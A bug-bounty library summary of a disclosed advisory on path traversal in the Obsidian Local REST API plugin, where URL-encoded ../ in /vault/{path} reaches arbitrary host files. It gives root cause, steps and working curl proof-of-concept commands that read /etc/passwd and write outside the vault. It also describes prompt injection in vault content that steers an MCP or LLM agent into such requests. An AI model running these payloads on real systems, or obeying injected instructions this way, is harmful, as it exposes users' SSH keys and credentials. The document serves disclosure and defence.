# obsidian-local-rest-api: Authenticated path traversal via URL-encoded %2F in /vault/{path} — arbitrary host file read/write/delete

Authenticated clients of the Obsidian Local REST API can use %2F-encoded ../ sequences in /vault/{path} to read, write, or delete arbitrary host files.

- Payout: Research
- Severity: high
- Program: obsidian-local-rest-api
- Found by: AgenticWizard
- Disclosed: 2026-07-15
- Write-up quality: 8/10
- Original: https://github.com/advisories/GHSA-62gx-5q78-wrvx
- Library page: https://bugbountylibrary.com/r/ghsa%3AGHSA-62gx-5q78-wrvx
- Tags: area:web domain:api domain:web impact:data-leak impact:integrity kind:research platform:ghsa sev:high tech:nodejs technique:incomplete-fix technique:source-review vuln:path-traversal

**Target:** /vault/{path} REST endpoints (GET/PUT/PATCH/POST/DELETE) on Express server
**Root cause:** Handlers call decodeURIComponent on req.path after Express routing/normalization, so %2F-encoded ../ survives routing and is reconstituted into a real traversal; decoded path is passed to the vault adapter with no vault-root confinement check.
**Steps:**
1. Enable Local REST API plugin in Obsidian and obtain the API key ($API_KEY).
2. Send `curl --path-as-is -k -H "Authorization: Bearer $API_KEY" "https://127.0.0.1:27124/vault/..%2F..%2F..%2F..%2Fetc%2Fpasswd"` to read a file outside the vault (200 + real bytes).
3. Send `curl --path-as-is -k -X PUT -H "Authorization: Bearer $API_KEY" --data "pwned" "https://127.0.0.1:27124/vault/..%2F..%2F..%2Ftmp%2Fcanary.txt"` to write outside the vault.
4. Note a plain unencoded `../` returns 404, confirming the decode-after-routing gap.
**How found:** Noticed vaultMove already confined paths with posix.resolve + startsWith while other handlers did not, and that the handler decodes the path after Express routing — so the string routing validated differs from the string the handler uses.
**Exploitation:** An authenticated client (or an MCP/LLM agent induced via prompt injection in vault content) issues requests with `..%2F` segments and `--path-as-is`; the handler decodes them into `../../`, escaping the vault to read/write/delete arbitrary host files with Obsidian's OS privileges (SSH keys, browser profiles, credentials).
**Escalation:** Amplified in MCP/LLM-agent deployments: prompt injection in vault content or a malicious MCP client turns note-editing access into arbitrary host filesystem read/write.
**Insight:** When a framework normalizes/routes on the raw path but the handler re-decodes it, encoded separators (%2F, %2e%2e) bypass routing-layer traversal checks; grep for decodeURIComponent applied to req.path after route matching, and compare sibling handlers for an existing confinement guard that others lack.

## Proof of concept (copied exactly from the original report)

**curl read /etc/passwd via %2F traversal**

```
curl --path-as-is -k -H "Authorization: Bearer $API_KEY" \
    "https://127.0.0.1:27124/vault/..%2F..%2F..%2F..%2Fetc%2Fpasswd"
```

**curl PUT write outside vault via %2F**

```
curl --path-as-is -k -X PUT -H "Authorization: Bearer $API_KEY" --data "pwned" \
    "https://127.0.0.1:27124/vault/..%2F..%2F..%2Ftmp%2Fcanary.txt"
```

